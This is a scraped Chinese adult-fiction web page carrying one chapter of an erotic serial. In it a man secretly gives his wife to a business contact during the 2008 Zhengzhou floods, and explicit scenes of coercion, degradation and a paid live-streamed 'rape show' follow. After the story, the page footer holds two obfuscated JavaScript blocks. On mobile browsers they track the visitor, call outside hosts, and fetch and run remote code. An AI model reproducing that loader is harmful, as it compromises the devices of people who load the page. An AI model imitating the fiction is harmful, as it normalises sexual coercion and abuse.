图片载入中

凌辱台妹人妻(六)暴雨中的三日凌辱

特大字】 【大字】 【中字】 【小字

凌辱台妹人妻(六)暴雨中的三日凌辱

凌辱台妹人妻

作者:watchuback(小号背心)

2011/07/09发表于:春满四合院

(六)暴雨中的三日凌辱

2008-7-13,郑州三十年来最强降雨已致七人死亡失踪……

南方都市报讯:7月13日晚,一场持续了十四个小时的强降雨席卷郑州,降雨量达到173﹒5毫米,刷新了三十年来郑州市最大暴雨记录。暴雨造成了郑州市内十一条道路积水严重,七条道路和四座立交断行,部分路段塌方,经济损失无法估计,三名小孩在大雨形成的小水塘中戏水时不幸溺亡。

***********************************2008年7月14日中国,河南省,郑州市,晚上九点。

电脑画面中是某某收费成人聊天室,画面的右边是文字交流区,左边则是一个视讯画面。这时右边的文字区开始出现许多对话。

左边的画面里有一个皮肤白皙的年轻女人,穿着一套性感的粉红色比基尼。美丽而修长的双腿对着画面成为一个M形,因为戴着巨大的墨镜只能看见她性感的红唇。画面的后方因为光线不足显得十分阴暗,只能从影子看出有一个男人。右边的文字区出现一排字:“母狗甜甜说:想看我被哪一种东西插到升天?(1)巨大蓝色按摩棒,(2)真人大肉棒,(3)汇原大热狗。起标价200成人币。”

几分钟后,帐号andy5654立即传出一句话:“站长,500分已经存入,把桌上那个蓝色的按摩棒给我狠狠地插进她的骚穴里,给我插到她高潮为止。”

我一时还没有反应过来,就看到她的小屄里多了一只很恶心的蓝色巨大假阳具,上面还有一粒一粒的小凸起,随着画面后面那男人的抽插,这个女子终于情不自禁地随着节奏扭动腰,直到她的全身发起抖来。

“母狗甜甜说:想看我被怎样凌辱?(1)被棍子打屁股,(2)被吐口水在嘴里,(3)被人打奶炮。起标价100成人币。”

这次不等人回应,我立即打字:“站长,300成人币已存入,给我好好的吐她口水吧!”

于是我看到画面中的女人自已蹲下张嘴,接受男人轻蔑的侮辱。男人先敷衍的吐了几口在她的脸上之后,又抽了一口烟。然后清了清痰,把一口又浓又稠的痰给吐进了女人的口中,女人当场干呕了起来……

***

***

***

***

我是小背,我身在市郊的家中,看着窗外的大雨,想着今天想要进城又不可能了。

今天是下暴雨的第二天,这几天的的大雨让市中心淹水至少二米高。整个城市是一片水乡泽国,人车都完全无法通行。不仅市中心淹水,所有连外道路也没有任何车辆可以通过,整个郑州市变成了一座孤岛。

拿起刚刚泡好的泡面,我盯着电脑萤幕,想起有人说:“郑州郑州,天天挖沟”,这次还真的被我遇上了。

通常不上班的假日,都可以享受一下我那美丽娇妻做的各种道地台湾小吃:卤肉饭、鱿鱼羹、蚵仔煎……等等,但是两天前她就没回来了。

因为三天前,我为了公司即将执行的建案计划,特别去郑州市拜访了整个中原地区最火最嚣张的网路推手。我本来也不知道什么叫“网路推手”,经人指点才了解“网路推手”讲白了就是用网路来炒作做话题的一群人。

中国网民成长速度飞快,在网路上做行销有时候比投实体广告更有效果,只要花钱请来这些人帮我们炒作一下,点击率在一周之内就可以上百万次,达到宣传公司商品的目的。

公司高层也开始重视网路行销,这次特别要我去找这一位外号“少侠”的行销天才,听说几个被他炒过的建案全部都是还没正式推出就已经销售出九成以上了。不过这个人脾气很古怪,年纪轻轻就十分嚣张,简直目中无人,这人只接他想作的案子,有钱给他赚他还不一定要接案子。

为了求他帮助这一次的建案广告,公司指定我和另一个叫金泉的同事一起去拜访少侠,希望他答应为我们的建案注入一些新的想法。

这个叫金泉的同事原本和我还不错,常常下班后一起去吃个消夜或是喝个酒什么的。直到几个月前,公司放话要从我和他之中选一个人担任销售部副理,我们之间的和谐气氛一夜之间化为乌有。我在公司开始遭受黑函攻击,还有几个我不认识的女人打电话到公司说是我的小三,要叫我去对质等等,这些应该都是他的抹黑手段。

不过凭着我亮眼的工作表现,公司方面最后还是升了我当副理,这造成金泉心中极度的不平衡,常常私底下中伤我,在同事间散播我是利用台湾人的身份才能在这台资企业里如鱼得水之类的话。最后搞得我们两人之间的关系十分恶劣。也不知道公司这次为什么会一定要指定我和他负责这个案子,可能是要考验我的领导能力吧,我也没什么好多说的。

两天前我和金泉去了“少侠”的公司,这家公司虽然不大,但是装修得设计感十足,而且座落在精华地段,想必少侠花了不少钱。

少侠今年才二十岁,个子不高,体型瘦弱脸色苍白,如果没有总经理这个头衔,他看起来倒像是一个体弱多病的废柴高中生。不过他讲起话来满有自信而且有条有理,认为做事原则很重要,基本上他认为本质太烂的案子不值得他帮忙。下午五点左右下起了小雨。甜甜来电,嗲声嗲气的说道:“亲爱的老公,你在哪里呀?我正在百货公司买内衣哦!等一下就来找你吃晚餐嘛!晚上就让你看看这几套新内衣有多性感好不好?呵呵。”

我说我的正事还没谈完,叫她先来这里等我,谈完之后一起吃晚餐。没想到和少侠谈到销售金额才发现我昨天晚上打的资料没带到,必须要回家用电子邮件传过来。

少侠十分不满,意兴阑珊的与我和金泉说:“下次再谈吧,我看你们连案

子的资料都还没整理好,要我来接这个案子不是坑我吗?是不是要我砸了自已的招牌你们才满意?”

我的脸一阵绿一阵白,连忙叫金泉先安抚一下少侠,我要开车回家把资料用E-mail先寄过来,希望这不会影响到他的决定。

一个小时后,等我回家把资料传完之后,外面已经下起来超大暴雨,电视也开始报导所有进城的道路因为淹水超过三米,目前交通已经完全中断,希望民众不要再尝试进城中心了。

我立刻打电话给少侠,希望能用QQ视讯来继续谈。这时忽然甜甜打电话来说她已经在少侠公司的门口等了很久,外面的雨下得很大,能不能先进来找我。他妈的,我居然把甜甜在门口等我这件事给忘得一干二净。

十分钟后,我在少侠的QQ视讯画面后方清楚地看到全身湿透的甜甜,金泉正拿给她一条毛巾擦头发。

少侠转头看了一下甜甜,和我说:“这是你老婆?也是台湾来的?哇靠!台湾就是美女多,小背你还真有福气。”他的口气完全变了,就像一个没谈过恋爱的中学生。

我叫甜甜来电脑前面,甜甜穿着湿透的大开口无袖上衣和牛仔短裙,把玲珑有致的身材在两个色狼的面前展现了出来,双乳中间那一条深沟让二人看得两眼发直。刚才少侠故意把那一张带有滑轮的椅子给移了开,所以甜甜只能趴在电脑桌上与我通话,这么一来,甜甜的裙下风光不就被两人看个精光了?

这两个男人站在甜甜后面不知谈些什么,对着甜甜的屁股指指点点的,不过两人的裤子前都高高的鼓起一大包。不怪他们两个,只要是男人看到性感美女被水淋湿都会受不了吧?

“甜甜,刚刚拿毛巾给你的是我的同事,叫金泉。另一个是时尚前卫传播公司的董事长兼总经理,叫少侠。宝贝,现在街上淹水,我在家里现在过不去了,一等到水退了我就过去接你好吗?”

“老公最坏了,一个人先走都没有和人家说,害我的衣服都湿了,回去一定要你好看,看我怎么罚你。”

甜甜趴在桌子上一直埋怨我,一下说我害她一个人在楼下等得很害怕,一下又小声的说晚上要穿新买的丁字裤给我看。不过我的视线并没有在甜甜的脸上,反而在她身后的那两个男人身上。

金泉和少侠半蹲着身体,似乎在欣赏甜甜的裙下风光,两个还有说有笑的比手画脚起来。我一看机不可失,就故意和甜甜谈了一些无关紧要的事,把甜甜的春光让两人看个够,直到两人起身出去倒水。

接下来我和少侠约好晚上九点再开QQ,谈第二部分的合作案,但是他还是没有给我一个确定的答案,这个部分有关我的前途。我有点急了,打了一个电话给少侠,作了一个邪恶的秘密约定。

“真的可以吗?小背哥你真大方呀!我们一言为定,只要甜甜让我满意,这个案子没问题。嘿嘿嘿!”少侠听完我的建议后在电话中淫荡地笑了起来,这时我还没有发现这个约定会让我吃多大的亏。

到了晚上九点我打开QQ时,一个淫糜的画面出现了:从背景得知他们的地点是公司的会议室,一排U型的会议椅在正中间,灯光开得不是很亮。少侠坐在中央一个很大的椅子上,这是一种可以活动的电脑椅,两旁还有扶手。

而甜甜整个身子软绵绵的坐在少侠的怀里,一只如鸡爪般瘦弱的手掌从甜甜的领口伸了进去,正一下一下的按摩着她丰满的乳房。一件精致的淡黄色丝质内裤已经被拉下到膝盖上方,他的另一只手伸进了甜甜的牛仔裙里,正有规律的动着,搞得甜甜娇喘连连。

“等一下,小背真的不会看到吗?我怕他生气。”甜甜害羞的对少侠说,身体也没忘了配合手指的奸淫。

“没事,没事,我这台电脑的视讯头坏了,他也只能听到声音,等一下你别出声,他不会看到的。”少侠沈稳的说着,给人一种一切都没问题的感觉。“那你还一直摸人家的底下,你真坏呀,等一下我不小心出声你就完了。”甜甜的脸整个潮红了起来,好像很热的样子。

“我的台湾小美女,你真懂事。只要你乖乖听话,我一定会让小背把整个案子接下来。”

“嗯,那你不要告诉小背哦,我怕他生气。嗯……”

这一对狗男女开始热吻了起来,我这里可是看得一清二楚。少侠每一次接吻都从甜甜的嘴里带出不少口水。甜甜看起来应该是动情了,自已把两脚微微的张开,电脑画面中可以看到她的下体被少侠的手指带出了不少透明的爱液。

我连忙配合演出,对着麦克风说:“少侠,有听到吗?怎么没有影像?你的视讯头是不是坏了?”

“没事,不就看不到影像嘛!不要紧,我们继续谈吧!”少侠说这话的时候还一直舔着甜甜的耳朵,看起来很享受的样子。这个禽兽也没放过甜甜的胸部,他把原本就低的领口给夸张地拉到了乳房的下面,结果乳房露出的部分就像是两个大碗一样,被高高的撑了起来,感觉十分淫荡。

看着自已的嫩妻被这一个才二十岁的小痞子玩弄,我心中十分不舍,但是碍于将来工作上还要靠这个年青人,只好压抑着自已的情绪,语气平静地谈下去。我们就这样谈了一个多小时,甜甜这时已经像一根香蕉,被脱得只剩下内衣裤了。她在不久前被少侠压在桌子底下不知道做什么,我的角度是看不到的,只觉得少侠这时说话已经颠三倒四,常常要等好几分钟他才回我一句,可能是他正抓着甜甜的秀发,狂暴地干着甜甜的嘴。

这个时候我的凌辱心态也被挑了起来,想小小的恶作剧一下,于是突然对电脑的那一头说:“少侠,我又看得到你了,原来你的视讯头没坏,可能是接触不良吧!谈这么久了,我们休息一下,请你找甜甜来电脑前面。”

虽然少侠正享受着甜甜口腔湿润的温度,但是我这么一说,他也不得不假意叫甜甜出来与我通话。于是他很哀怨地瞪了我一眼,假装转过头向背后说:“甜甜,小背找你来与他通话,记住哦,我的视讯头∼∼已∼∼经∼∼修∼∼好∼∼了。”他把最后一句话讲得特别慢,摆明是要提醒甜甜不能在我面前和他亲热,这家伙也太白痴了。

画面中,甜甜有点紧张的样子,全身僵硬的从画面的左方走了过来。她穿着极其暴露的粉红色比基尼,一边走一边把比基尼的带子在脖子后面打了一个蝴蝶结。下身穿着在大腿根部各有一个蝴蝶结的丝质丁字裤,小到仅仅能遮住重点部位。这些内衣我全都没看过,应该是今天才买的。

她满脸还满是浅浅的精液痕迹,我心想:‘你这个野女人,原来你真的这么爱帮人舔鸡巴,看我以后不好好让你舔个够!’

“咦?甜甜你怎么只穿内衣,发生什么事了吗?”我假装满脸狐疑地问,自已都觉得可以去当演员了。我噼头就给了甜甜一个下马威,看看他们怎么解释?“因为我们这里的空调坏了,没办法。刚才嫂子说穿这样比较凉,不然大家都中暑了。大家都是自已人么,只要小背你不反对,我们倒也乐于接受嫂子穿这样。”少侠马上抢话来说,不愧是经营策划的高手,反应这么快。

“没事,只要甜甜高兴就好。如果外面下暴雨却在大楼里热到中暑,传出去也太搞笑了,你说是吧?哈哈!”我假惺惺的赞美甜甜做得对,但是心里却想:‘甜甜你这个淫荡女人,我一不注意,你就穿上刚刚才买的比基尼和丁字裤给人看!’

“那就明天早上再通话吧,我这有很多泡面和可乐,我会好好帮你照顾大嫂的,就这样吧!”少侠没等我反应过来,就急急忙忙的把电脑给关了。这个王八蛋,等一下不知道要把甜甜搞成怎么样?也不让我看看。

为了准备明天开会的资料,我并没有把QQ视讯关掉,只是继续在整理那些图表和排版工作。因为今天实在太累了,我竟然不知不觉的在桌上睡着了。直到凌晨四点多,我被一连串女人的哭喊和叫床声给吵了起来。我正奇怪为什么电脑会发出这种声音,就看到电脑画面中出现了一张特大的女人阴部特写,阴唇被两根手指给强迫分开了,露出了女人最私密的地带,还有一根又白又细的鸡巴正有规律地一进一出。因为是被吵醒的,我的脑袋一时还转不过来,这是恶作剧还是新的电脑病毒?电脑怎么会出现成人视讯?

我仔细看了一下,少侠这个变态,居然没让甜甜把比基尼脱掉就叫她蹲在桌上,一手把丁字裤拉开,一手拿着视讯头对准阴户作特写,他自已则站在甜甜的后面,一下一下的操着甜甜的嫩穴,享受着悦耳的叫床声。我觉得奇怪,他不是已经关机了吗?这个连线是谁开的?他难道不怕被甜甜知道我正在看着她吗?“你给我好好的扭一扭。你知不知道?如果我一开QQ,你老公就会看到这个画面。平常你在家是不是也这么帮小背搞呀?你这个荡妇,真是够贱的。我以后每个月给你一万,你每天来被我搞好不好?”少侠好像变成另一个人,之前那个高傲稳重的人已经变成眼前的这个轻浮的少年。除了态度的改变,他的口音也从标准的普通话变成了我听不太懂的河南话。

不过看少侠的样子,似乎真的不知道电脑是连线的,他把甜甜骂成了世界上最不值钱的妓女,人尽可夫的婊子。他把丁字裤后方的那一根给提了起来,丁字裤立刻就陷进了肉缝里,受到刺激的甜甜也叫得更大声了,看到甜甜脸上不甘愿的屈辱表情,少侠满意地冷笑起来。

“你老公小背那个憨子,自已的媳妇在外线被人花搅,自个儿还在家里拍巴掌。等会带你去茅词好好的享受,中不中?”少侠这时说的全是道地河南话,什么中不中我完全听不懂。不仅如此,他之后说的每一句话对我来说都是比法文还法文的外国话,谁知道他用河南话把甜甜骂得有多难听。

“哦,拜托你不要。那里不要,偶不喜欢这样。”原来甜甜被逼急了,说的也是台语。

就算是我的良心被狗啃了吧,我不但一点都不觉得甜甜可怜,反而有一种报复成功的成就感。甜甜这时的表情好像很痛苦,就像一个廉价的性爱玩具被人无情地玩弄,被人操得连舌头都伸了出来,一边流口水一边向这个陌生青年求饶。“求你饶了我,我不敢了,我对不起小背。求你停下来,那里不行。”甜甜再次讨饶时哭了出来,泪水和口水一起流了出来。

从我这个角度只看到一对笋形的大奶因为撞击力而不停地晃着,不一会儿一双手用力地蹂躏着甜甜的乳房,把柔软的大奶从指间给挤了出来,那被捏到变形的奶子就像甜甜此刻扭曲的心理状态,不能反抗,只能拜托男人捏小力一点。“我等一下把你的样子传上网给大家欣赏好不好呀?让每个人都看看台湾来的女人有多贱,爱被人操到流口水,而且下面被陌生人搞还一直流爱液出来。”看来少侠除了鸡巴要爽,嘴里也不忘骂甜甜来取得快感。

“拜托你,我什么都肯做,不要把视讯传上网,求求你。”甜甜这个时候看起来真是一个十足的贱女人,一边扭着屁股来套弄男人的鸡巴,手上还拿着正在录影的摄像头,把自已见不得人的一面给全部录了下来。

随着甜甜不断摇摆的腰肢,少侠的下体被加速的套弄,他低吼一声,身体无力地抖了几下,应该是射精在甜甜的身体里了。

“唿唿∼∼你这个小贱货的下面还真紧,我平常自慰的时候可是不会这么快的。”少侠全身无力地压在甜甜的背上,双手并没有停止抚摸雄伟的双峰。他喘了一会儿,把笔记型电脑盖了起来,“哔”的一声我的电脑画面忽然一片漆黑。原本我以为这一场荒唐的性爱游戏会随着明天的日出晴天而结束,没想到这个城市又连下了两天暴雨。

***

***

***

***

2008-7-14《郑州晚报》的消息,气象部门监测显示,郑州12日凌晨遭遇的大暴雨降雨量为108毫米。13日晚,郑州市区再次下大暴雨,暴雨持续了两个半小时之久。14日凌晨又再降暴雨,一直到凌晨5时许才逐渐停止。这次的最大降雨量达到271﹒3毫米。

郑州市气象台的高级工程师杜瑞莉介绍说:“13日晚到14日的那场雨是1978年以来郑州最大的一场雨。

从第二天起。少侠就连我的电话也不接了,他传了一个短信给我:“大楼停电,手机没电,不要再打给我,雨停路通就会与你连络。”

我急忙去打开电脑,期待可以看到甜甜现在的样子,可是少侠的QQ早就断了,我只好对着萤幕发呆。虽然我常常利用甜甜,但她终究是我的妻子,真的发生什么意外,我怎么和她的家人交待(尤其是那个恶魔姐姐)?

正在心烦意乱时,我忽然想起,少侠除了帮人做行销之外还和人合作了一个线上裸聊的网站,在他的名片上有个成人网站的网址,而且少侠昨天也说要把甜甜被干的样子上传给人看。想到这里,我连忙进入看看有没有什么线索,但是看了很久并没有我想像中甜甜的性爱短片,网站中只有一些浓妆艳抹的裸聊小姐和空空的聊天室。

我不死心,只好整天就坐在电脑前面对着IE不停地按着Reload。到了下午,我发现有一个新开的聊天室名字叫“台湾母狗甜甜的真实强奸秀”,虽然这是一个付费的聊天室,但是已经超过了三百多人同时在线。

那些又长又烦的认证和付费系统花了我一个小时才弄完,付了费进入后才发现这个聊天室视讯的光线很暗,看不太清楚,女主角是一个戴了副超大墨镜的裸体女人,皮肤光滑,头发稍长而且染成黄色,我一眼就看出她是甜甜。

甜甜自已把双手环抱在胸前,把那对发育过盛的乳房以一种淫乱的方式双手奉上,看起来比实际上更大了不少。她的双脚横跨在椅子上,私密的阴户对着电脑,她背后有一个人好像正在打字,因为光线的问题看得不是很清楚。当我正在期待会发生什么事的时候,聊天室的对话栏里出现一段话。

“母狗甜甜说:想要看我(1)被人用力捏奶头,(2)被狠狠的打巴掌,(3)被吐口水在脸上。起标价50成人币”

不一会儿,整个画面像是被洗版一样充满了各种投标的价格和决定凌辱的选项。十分钟后,甜甜的奶头被后面的那人用食指和姆指捏住并且一左一右分开,原本美丽的乳房此刻已成为夸张而畸形的玩具,只因一个叫chang3827的人花了200成人币得标,他想看甜甜小巧迷人的奶头被人蹂躏。

接下来我只好发挥着精神胜利的阿Q精神,努力把甜甜想成是别人的风骚老婆,一个人尽可夫的贱货,这样我的心情才会好一点。一直看到下午5点,甜甜因为各种虐待已经奄奄一息了。事实上,我确定在画面后面的男人是少侠,我大约算了一下,他利用我心爱的老婆帮他赚了8000多元的成人币,甜甜连妓女都算不上,只能算是一个公共的性爱玩具。

在这个过程中,甜甜被他搞到几乎昏倒,我怀疑甜甜那瘦弱的身躯怎么经得起一连串的凌辱。从开始的捏奶头到口交、用手指插屁眼、吐口水在嘴里、被假阳具插小屄等等,一次又一次的高潮已经让甜甜开始神志不清了。

正看着甜甜跪在地上用自已那对大奶帮人打奶炮的同时,我似乎想到什么又讲不出来。等到她对着摄像头掰开自己的屁眼,好叫网友看得更清楚的时候我才想到,甜甜并没有被人强迫做这一件事,她没有被人绑起来强奸,她是自愿来当裸聊小姐的。

想到这里,甜甜在我心中的女神形象又再一次破灭。自从来中国之后,扣除月经的日子,她不是在家被我搞,就是被我秘密地让给工作上有帮助的人玩弄。平均来说,她一个月至少要和十个以上不同的陌生人性交,其中还有许多不喜欢正常性爱方式的变态,轮奸、强奸、性虐待、凌辱、异物插入……等等,一个比一个还要激烈的性爱方式已经改变了甜甜吗?

难道说,在这个过程中甜甜已经在心境上接受了他人的恣意凌辱?从一个清纯少妇天使变为一个淫荡的性爱魔鬼?会不会我仍没有发觉我的娇妻已经被这些人调教成一个经验十分老道的性奴隶了?

晚上十点时,聊天室关闭了,但我并没有睡觉,我整晚守在电脑旁边,因为我不知道聊天室什么时候会开启。直到天亮,我的期望再次落空,今天仍是倾盆大雨。

***

***

***

***

2008-7-15

2008年7月12、13、14日,河南郑州市连降三场大暴雨,已成水世界。

《河南商报》记者杨东华报导。

当天傍晚,我才开着车去把甜甜接回家。我感觉甜甜并没有特别不高兴,一切和之前没什么两样,只是她的腰明显瘦了一圈,身材看起来更玲珑有致了。但我知道,她已经不是几年前在台湾的那个甜甜了,她的性观念越来越开放,穿着也越来越暴露。

甜甜可能是从穿着上得到了快感,她开始爱上陌生男人色迷迷的视觉强奸,家中各种比基尼、丁字裤、露背、超短裤越来越多;陪我出去逛街时更是穿得性感无比,夏天露乳沟、冬天露屁股沟。有时我叫甜甜穿着要保守一点,她却有一份歪理:“你老婆穿成这样,还不是要让你成为每个男人羡慕的对象吗?”也不是不好啦!我开始苦笑了起来……

后记:

郑州这一座古城的排水系统真的大有问题,虽说是百年难得一见的大雨,但也没看过人家巴黎市淹过水,我实在不了解为什么中国人民政府不把生产导弹的钱拿一小部分来改善一下这些基础建设,这才是人民感受最深的部分呀!我那美丽的妻子,美丽女神的形象在这一场大雨中被冲刷殆尽,只剩下一个充满诱惑力的青春妖艳肉体,要不是这个城市的排水系统没有做好……

三天后,我拿到少侠想出的企划案。

一个星期后,某知名人气论坛出现一个帖子,内容是一张看起来很模煳的女人背影照片,照片中的女人穿得很暴露,正走进我们的销售楼里。帖子的标题是“本地富商纷纷买高档豪宅给小三,他们要在房里做什么?”。一个星期后,跟帖的人到达了三百万,这个讯息也自动了登上百度、欣浪网……等各大入口网站的首页,这个过程中我们公司竟然完全没有花费一毛钱。

结果是我们所有的楼盘在一个星期内完全卖光,还有许多人托官员或是有力人士也想来买一间,而我也因为行销手法得宜被升为工地管理的经理。

在离开总公司前往工地任职时,我在公司门口遇到了金泉,他依然高傲的对我冷笑了一下。出于同事情谊,我与他寒暄了几句,我问他这一阵子怎么都没有看到他,他只说请了个长假出国休闲了一阵子,他也祝我和甜甜未来一帆风顺。我与金泉道别后,在坐上车的那一瞬间,我全身发抖地想起一个问题。我的天!那三天的大雨中,金泉不是留在少侠的办公室吗?为什么没有看到他?他那三天在做什么?


上一篇:KERORO同人创作

下一篇:情魔剑


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};